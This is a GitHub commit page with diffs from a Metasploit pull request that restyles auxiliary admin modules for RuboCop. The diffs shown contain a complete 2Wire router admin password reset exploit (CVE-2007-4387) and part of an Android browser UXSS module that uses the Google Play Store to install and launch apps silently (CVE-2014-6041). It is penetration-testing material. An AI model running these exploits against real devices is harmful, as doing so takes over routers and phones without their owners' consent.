Skip to content

Commit 264d531

Browse files
authored
Merge pull request #20202 from bcoles/rubocop-modules-auxiliary-admin
modules/auxiliary/admin: Resolve RuboCop violations
2 parents dda4cb9 + 4ea1817 commit 264d531

File tree

67 files changed

+3054
-2765
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

67 files changed

+3054
-2765
lines changed

modules/auxiliary/admin/2wire/xslt_password_reset.rb

Lines changed: 67 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -6,138 +6,147 @@
66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::HttpClient
88

9-
def initialize(info={})
10-
super(update_info(info,
11-
'Name' => "2Wire Cross-Site Request Forgery Password Reset Vulnerability",
12-
'Description' => %q{
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => '2Wire Cross-Site Request Forgery Password Reset Vulnerability',
14+
'Description' => %q{
1315
This module will reset the admin password on a 2Wire wireless router. This is
14-
done by using the /xslt page where authentication is not required, thus allowing
15-
configuration changes (such as resetting the password) as administrators.
16-
},
17-
'License' => MSF_LICENSE,
18-
'Author' =>
19-
[
20-
'hkm [at] hakim.ws', #Initial discovery, poc
21-
'Travis Phillips', #Msf module
16+
done by using the /xslt page where authentication is not required, thus allowing
17+
configuration changes (such as resetting the password) as administrators.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' => [
21+
'hkm [at] hakim.ws', # Initial discovery, poc
22+
'Travis Phillips', # Msf module
2223
],
23-
'References' =>
24-
[
24+
'References' => [
2525
[ 'CVE', '2007-4387' ],
2626
[ 'OSVDB', '37667' ],
2727
[ 'BID', '36075' ],
2828
[ 'URL', 'https://seclists.org/bugtraq/2007/Aug/225' ],
2929
],
30-
'DisclosureDate' => '2007-08-15' ))
31-
32-
register_options(
33-
[
34-
OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
35-
])
30+
'DisclosureDate' => '2007-08-15',
31+
'Notes' => {
32+
'Stability' => [CRASH_SAFE],
33+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
34+
'Reliability' => []
35+
}
36+
)
37+
)
38+
39+
register_options(
40+
[
41+
OptString.new('PASSWORD', [true, 'The password to reset to', 'admin'])
42+
]
43+
)
3644
end
3745

3846
def post_auth?
3947
false
4048
end
4149

4250
def run
43-
4451
print_status("Attempting to connect to http://#{rhost}/xslt?PAGE=A07 to gather information")
4552
res = send_request_raw(
46-
{
47-
'method' => 'GET',
48-
'uri' => '/xslt?PAGE=A07',
49-
}, 25)
53+
{
54+
'method' => 'GET',
55+
'uri' => '/xslt?PAGE=A07'
56+
}, 25
57+
)
5058

51-
if not res
52-
print_error("No response from server")
59+
if !res
60+
print_error('No response from server')
5361
return
5462
end
5563

5664
# check to see if we get HTTP OK
5765
if (res.code == 200)
58-
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
66+
print_status('Okay, Got an HTTP 200 (okay) code. Verifying Server header')
5967
else
60-
print_error("Did not get HTTP 200, URL was not found. Exiting!")
68+
print_error('Did not get HTTP 200, URL was not found. Exiting!')
6169
return
6270
end
6371

6472
# Check to verify server reported is a 2wire router
65-
if (res.headers['Server'].match(/2wire Gateway/i))
73+
if res.headers['Server'].match(/2wire Gateway/i)
6674
print_status("Server is a 2wire Gateway! Grabbing info\n")
6775
else
6876
print_error("Target doesn't seem to be a 2wire router. Exiting!")
6977
return
7078
end
7179

72-
print_status("---===[ Router Information ]===---")
80+
print_status('---===[ Router Information ]===---')
7381

7482
# Grabbing the Model Number
75-
if res.body.match(/<td class="textmono">(.*)<\/td>/i)
76-
model = $1
83+
if res.body.match(%r{<td class="textmono">(.*)</td>}i)
84+
model = ::Regexp.last_match(1)
7785
print_status("Model: #{model}")
7886
end
7987

8088
# Grabbing the serial Number
81-
if res.body.match(/<td class="data">(\d{12})<\/td>/i)
82-
serial = $1
89+
if res.body.match(%r{<td class="data">(\d{12})</td>}i)
90+
serial = ::Regexp.last_match(1)
8391
print_status("Serial: #{serial}")
8492
end
8593

8694
# Grabbing the Hardware Version
87-
if res.body.match(/<td class="data">(\d{4}-\d{6}-\d{3})<\/td>/i)
88-
hardware = $1
95+
if res.body.match(%r{<td class="data">(\d{4}-\d{6}-\d{3})</td>}i)
96+
hardware = ::Regexp.last_match(1)
8997
print_status("Hardware Version: #{hardware}")
9098
end
9199

92100
# Check the Software Version
93-
if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
94-
ver = $1
101+
if res.body.match(%r{<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})</td>}i)
102+
ver = ::Regexp.last_match(1)
95103
print_status("Software version: #{ver}")
96104
else
97-
print_error("Target is not a version 5 router. Exiting!")
105+
print_error('Target is not a version 5 router. Exiting!')
98106
return
99107
end
100108

101109
# Grabbing the Key Code
102-
if res.body.match(/<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})<\/td>/i)
103-
key = $1
110+
if res.body.match(%r{<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})</td>}i)
111+
key = ::Regexp.last_match(1)
104112
print_status("Key Code: #{key}\n")
105113
end
106114

107115
print_status("Attempting to exploit Password Reset Vulnerability on #{rhost}")
108116
print_status("Connecting to http://#{rhost}/xslt?PAGE=H04 to make sure page exist.")
109117

110118
res = send_request_raw(
111-
{
112-
'method' => 'GET',
113-
'uri' => '/xslt?PAGE=H04',
114-
}, 25)
119+
{
120+
'method' => 'GET',
121+
'uri' => '/xslt?PAGE=H04'
122+
}, 25
123+
)
115124

116-
if ( res and res.code == 200 and res.body.match(/<title>System Setup - Password<\/title>/i))
125+
if res && (res.code == 200) && res.body.match(%r{<title>System Setup - Password</title>}i)
117126
print_status("Found password reset page. Attempting to reset admin password to #{datastore['PASSWORD']}")
118127

119-
data = 'PAGE=H04_POST'
128+
data = 'PAGE=H04_POST'
120129
data << '&THISPAGE=H04'
121130
data << '&NEXTPAGE=A01'
122131
data << '&PASSWORD=' + datastore['PASSWORD']
123132
data << '&PASSWORD_CONF=' + datastore['PASSWORD']
124133
data << '&HINT='
125134

126135
res = send_request_cgi(
127-
{
128-
'method' => 'POST',
129-
'uri' => '/xslt',
130-
'data' => data,
131-
}, 25)
132-
133-
if res and res.code == 200
136+
{
137+
'method' => 'POST',
138+
'uri' => '/xslt',
139+
'data' => data
140+
}, 25
141+
)
142+
143+
if res && (res.code == 200)
134144
cookies = res.get_cookies
135-
if cookies && cookies.match(/(.*); path=\//)
136-
cookie= $1
145+
if cookies && cookies.match(%r{(.*); path=/})
146+
cookie = ::Regexp.last_match(1)
137147
print_good("Got cookie #{cookie}. Password reset was successful!\n")
138148
end
139149
end
140150
end
141-
142151
end
143152
end

modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb

Lines changed: 46 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -8,38 +8,46 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Report
99

1010
def initialize(info = {})
11-
super(update_info(info,
12-
'Name' => 'Android Browser RCE Through Google Play Store XFO',
13-
'Description' => %q{
14-
This module combines two vulnerabilities to achieve remote code
15-
execution on affected Android devices. First, the module exploits
16-
CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
17-
versions of Android's open source stock browser (the AOSP Browser) prior to
18-
4.4. Second, the Google Play store's web interface fails to enforce a
19-
X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
20-
targeted for script injection. As a result, this leads to remote code execution
21-
through Google Play's remote installation feature, as any application available
22-
on the Google Play store can be installed and launched on the user's device.
23-
24-
This module requires that the user is logged into Google with a vulnerable browser.
25-
26-
To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
27-
},
28-
'Author' => [
29-
'Rafay Baloch', # Original UXSS vulnerability
30-
'joev' # Play Store vector and Metasploit module
31-
],
32-
'License' => MSF_LICENSE,
33-
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
34-
'PassiveActions' => [ 'WebServer' ],
35-
'References' => [
36-
[ 'URL', 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/'],
37-
[ 'URL', 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ],
38-
[ 'OSVDB', '110664' ],
39-
[ 'CVE', '2014-6041' ]
40-
],
41-
'DefaultAction' => 'WebServer'
42-
))
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Android Browser RCE Through Google Play Store XFO',
15+
'Description' => %q{
16+
This module combines two vulnerabilities to achieve remote code
17+
execution on affected Android devices. First, the module exploits
18+
CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
19+
versions of Android's open source stock browser (the AOSP Browser) prior to
20+
4.4. Second, the Google Play store's web interface fails to enforce a
21+
X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
22+
targeted for script injection. As a result, this leads to remote code execution
23+
through Google Play's remote installation feature, as any application available
24+
on the Google Play store can be installed and launched on the user's device.
25+
26+
This module requires that the user is logged into Google with a vulnerable browser.
27+
28+
To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
29+
},
30+
'Author' => [
31+
'Rafay Baloch', # Original UXSS vulnerability
32+
'joev' # Play Store vector and Metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],
36+
'PassiveActions' => [ 'WebServer' ],
37+
'References' => [
38+
[ 'URL', 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/'],
39+
[ 'URL', 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ],
40+
[ 'OSVDB', '110664' ],
41+
[ 'CVE', '2014-6041' ]
42+
],
43+
'DefaultAction' => 'WebServer',
44+
'Notes' => {
45+
'Stability' => [CRASH_SAFE],
46+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
47+
'Reliability' => []
48+
}
49+
)
50+
)
4351

4452
register_options([
4553
OptString.new('PACKAGE_NAME', [
@@ -53,10 +61,10 @@ def initialize(info = {})
5361
'com.swlkr.rickrolld/.RickRoll'
5462
]),
5563
OptBool.new('DETECT_LOGIN', [
56-
true, "Prevents the exploit from running if the user is not logged into Google", true
64+
true, 'Prevents the exploit from running if the user is not logged into Google', true
5765
]),
5866
OptBool.new('HIDE_IFRAME', [
59-
true, "Hide the exploit iframe from the user", true
67+
true, 'Hide the exploit iframe from the user', true
6068
])
6169
])
6270
end
@@ -68,7 +76,7 @@ def on_request_uri(cli, request)
6876
print_error request.body[0..400]
6977
send_response_html(cli, '')
7078
else
71-
print_status("Sending initial HTML ...")
79+
print_status('Sending initial HTML ...')
7280
send_response_html(cli, exploit_html)
7381
end
7482
end
@@ -140,7 +148,7 @@ def exploit_html
140148

141149
def detect_login_js
142150
if datastore['DETECT_LOGIN']
143-
%Q|
151+
%|
144152
var img = document.createElement('img');
145153
img.onload = exploit;
146154
img.onerror = function() {
@@ -150,7 +158,7 @@ def detect_login_js
150158
x.send('Exploit failed: user is not logged into google.com')
151159
};
152160
img.setAttribute('style', HIDDEN_STYLE);
153-
var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}';
161+
var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(5..16))}';
154162
img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand);
155163
document.body.appendChild(img);
156164
|
@@ -168,7 +176,7 @@ def hidden_css
168176
end
169177

170178
def backend_url
171-
proto = (datastore["SSL"] ? "https" : "http")
179+
proto = (datastore['SSL'] ? 'https' : 'http')
172180
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
173181
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
174182
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"

0 commit comments

Comments
 (0)